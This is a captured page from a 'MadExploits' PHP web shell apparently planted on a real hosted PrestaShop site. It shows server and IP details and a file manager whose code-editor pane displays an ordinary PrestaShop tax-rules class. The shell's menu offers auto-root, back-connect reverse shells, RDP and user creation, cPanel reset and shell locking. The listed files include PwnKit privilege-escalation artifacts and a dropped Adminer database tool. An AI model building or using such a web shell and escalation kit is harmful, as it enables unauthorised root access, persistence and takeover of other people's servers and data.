Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
tax /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AverageTaxOfProductsTaxCalcula...
3.32
KB
-rw----r--
Tax.php
7.68
KB
-rw----r--
TaxCalculator.php
4.51
KB
-rw----r--
TaxConfiguration.php
1.59
KB
-rw----r--
TaxManagerFactory.php
3.38
KB
-rw----r--
TaxManagerInterface.php
1.52
KB
-rw----r--
TaxManagerModule.php
2.03
KB
-rw----r--
TaxRule.php
5.92
KB
-rw----r--
TaxRulesGroup.php
8.23
KB
-rw----r--
TaxRulesTaxManager.php
4.58
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TaxRulesGroup.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class TaxRulesGroupCore extends ObjectModel { public $name; /** @var bool active state */ public $active; public $deleted = 0; /** @var string Object creation date */ public $date_add; /** @var string Object last modification date */ public $date_upd; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'tax_rules_group', 'primary' => 'id_tax_rules_group', 'fields' => [ 'name' => ['type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64], 'active' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'deleted' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'date_add' => ['type' => self::TYPE_DATE, 'validate' => 'isDate'], 'date_upd' => ['type' => self::TYPE_DATE, 'validate' => 'isDate'], ], ]; protected $webserviceParameters = [ 'objectsNodeName' => 'tax_rule_groups', 'objectNodeName' => 'tax_rule_group', 'fields' => [ ], ]; protected static $_taxes = []; public function update($null_values = false) { if (!$this->deleted && $this->isUsed()) { $current_tax_rules_group = new TaxRulesGroup((int) $this->id); if ((!$new_tax_rules_group = $current_tax_rules_group->duplicateObject()) || !$current_tax_rules_group->historize($new_tax_rules_group)) { return false; } $this->id = (int) $new_tax_rules_group->id; } return parent::update($null_values); } /** * Save the object with the field deleted to true. * * @return bool */ public function historize(TaxRulesGroup $tax_rules_group) { $this->deleted = true; return parent::update() && Db::getInstance()->execute(' INSERT INTO ' . _DB_PREFIX_ . 'tax_rule (id_tax_rules_group, id_country, id_state, zipcode_from, zipcode_to, id_tax, behavior, description) ( SELECT ' . (int) $tax_rules_group->id . ', id_country, id_state, zipcode_from, zipcode_to, id_tax, behavior, description FROM ' . _DB_PREFIX_ . 'tax_rule WHERE id_tax_rules_group=' . (int) $this->id . ' )') && Db::getInstance()->execute(' UPDATE ' . _DB_PREFIX_ . 'product SET id_tax_rules_group=' . (int) $tax_rules_group->id . ' WHERE id_tax_rules_group=' . (int) $this->id) && Db::getInstance()->execute(' UPDATE ' . _DB_PREFIX_ . 'product_shop SET id_tax_rules_group=' . (int) $tax_rules_group->id . ' WHERE id_tax_rules_group=' . (int) $this->id) && Db::getInstance()->execute(' UPDATE ' . _DB_PREFIX_ . 'carrier SET id_tax_rules_group=' . (int) $tax_rules_group->id . ' WHERE id_tax_rules_group=' . (int) $this->id) && Db::getInstance()->execute(' UPDATE ' . _DB_PREFIX_ . 'carrier_tax_rules_group_shop SET id_tax_rules_group=' . (int) $tax_rules_group->id . ' WHERE id_tax_rules_group=' . (int) $this->id); } public function getIdTaxRuleGroupFromHistorizedId($id_tax_rule) { $params = Db::getInstance()->getRow( ' SELECT id_country, id_state, zipcode_from, zipcode_to, id_tax, behavior FROM ' . _DB_PREFIX_ . 'tax_rule WHERE id_tax_rule=' . (int) $id_tax_rule ); return Db::getInstance()->getValue( ' SELECT id_tax_rule FROM ' . _DB_PREFIX_ . 'tax_rule WHERE id_tax_rules_group = ' . (int) $this->id . ' AND id_country=' . (int) $params['id_country'] . ' AND id_state=' . (int) $params['id_state'] . ' AND id_tax=' . (int) $params['id_tax'] . ' AND zipcode_from=\'' . pSQL($params['zipcode_from']) . '\' AND zipcode_to=\'' . pSQL($params['zipcode_to']) . '\' AND behavior=' . (int) $params['behavior'] ); } public static function getTaxRulesGroups($only_active = true) { return Db::getInstance()->executeS(' SELECT DISTINCT g.id_tax_rules_group, g.name, g.active FROM `' . _DB_PREFIX_ . 'tax_rules_group` g' . Shop::addSqlAssociation('tax_rules_group', 'g') . ' WHERE deleted = 0' . ($only_active ? ' AND g.`active` = 1' : '') . ' ORDER BY name ASC'); } /** * @return array an array of tax rules group formatted as $id => $name */ public static function getTaxRulesGroupsForOptions() { $tax_rules[] = ['id_tax_rules_group' => 0, 'name' => Context::getContext()->getTranslator()->trans('No tax', [], 'Admin.International.Notification')]; return array_merge($tax_rules, TaxRulesGroup::getTaxRulesGroups()); } public function delete() { $res = Db::getInstance()->execute('DELETE FROM `' . _DB_PREFIX_ . 'tax_rule` WHERE `id_tax_rules_group`=' . (int) $this->id); return parent::delete() && $res; } /** * @return array */ public static function getAssociatedTaxRatesByIdCountry($id_country) { $rows = Db::getInstance()->executeS( ' SELECT rg.`id_tax_rules_group`, t.`rate` FROM `' . _DB_PREFIX_ . 'tax_rules_group` rg LEFT JOIN `' . _DB_PREFIX_ . 'tax_rule` tr ON (tr.`id_tax_rules_group` = rg.`id_tax_rules_group`) LEFT JOIN `' . _DB_PREFIX_ . 'tax` t ON (t.`id_tax` = tr.`id_tax`) WHERE tr.`id_country` = ' . (int) $id_country . ' AND tr.`id_state` = 0 AND 0 between `zipcode_from` AND `zipcode_to`' ); $res = []; foreach ($rows as $row) { $res[$row['id_tax_rules_group']] = $row['rate']; } return $res; } /** * Returns the tax rules group id corresponding to the name. * * @param string $name * * @return int id of the tax rules */ public static function getIdByName($name) { return Db::getInstance()->getValue( 'SELECT `id_tax_rules_group` FROM `' . _DB_PREFIX_ . 'tax_rules_group` rg WHERE `name` = \'' . pSQL($name) . '\'' ); } public function hasUniqueTaxRuleForCountry($id_country, $id_state, $id_tax_rule = false) { $rules = TaxRule::getTaxRulesByGroupId((int) Context::getContext()->language->id, (int) $this->id); foreach ($rules as $rule) { if ($rule['id_country'] == $id_country && $id_state == $rule['id_state'] && !$rule['behavior'] && (int) $id_tax_rule != $rule['id_tax_rule']) { return true; } } return false; } public function isUsed() { return Db::getInstance()->getValue( ' SELECT `id_tax_rules_group` FROM `' . _DB_PREFIX_ . 'order_detail` WHERE `id_tax_rules_group` = ' . (int) $this->id ); } /** * @deprecated since 1.5 */ public static function getTaxesRate($id_tax_rules_group, $id_country, $id_state, $zipcode) { Tools::displayAsDeprecated(); $rate = 0; foreach (TaxRulesGroup::getTaxes($id_tax_rules_group, $id_country, $id_state, $zipcode) as $tax) { $rate += (float) $tax->rate; } return $rate; } /** * Return taxes associated to this para. * * @deprecated since 1.5 */ public static function getTaxes($id_tax_rules_group, $id_country, $id_state, $id_county) { Tools::displayAsDeprecated(); return []; } }
Close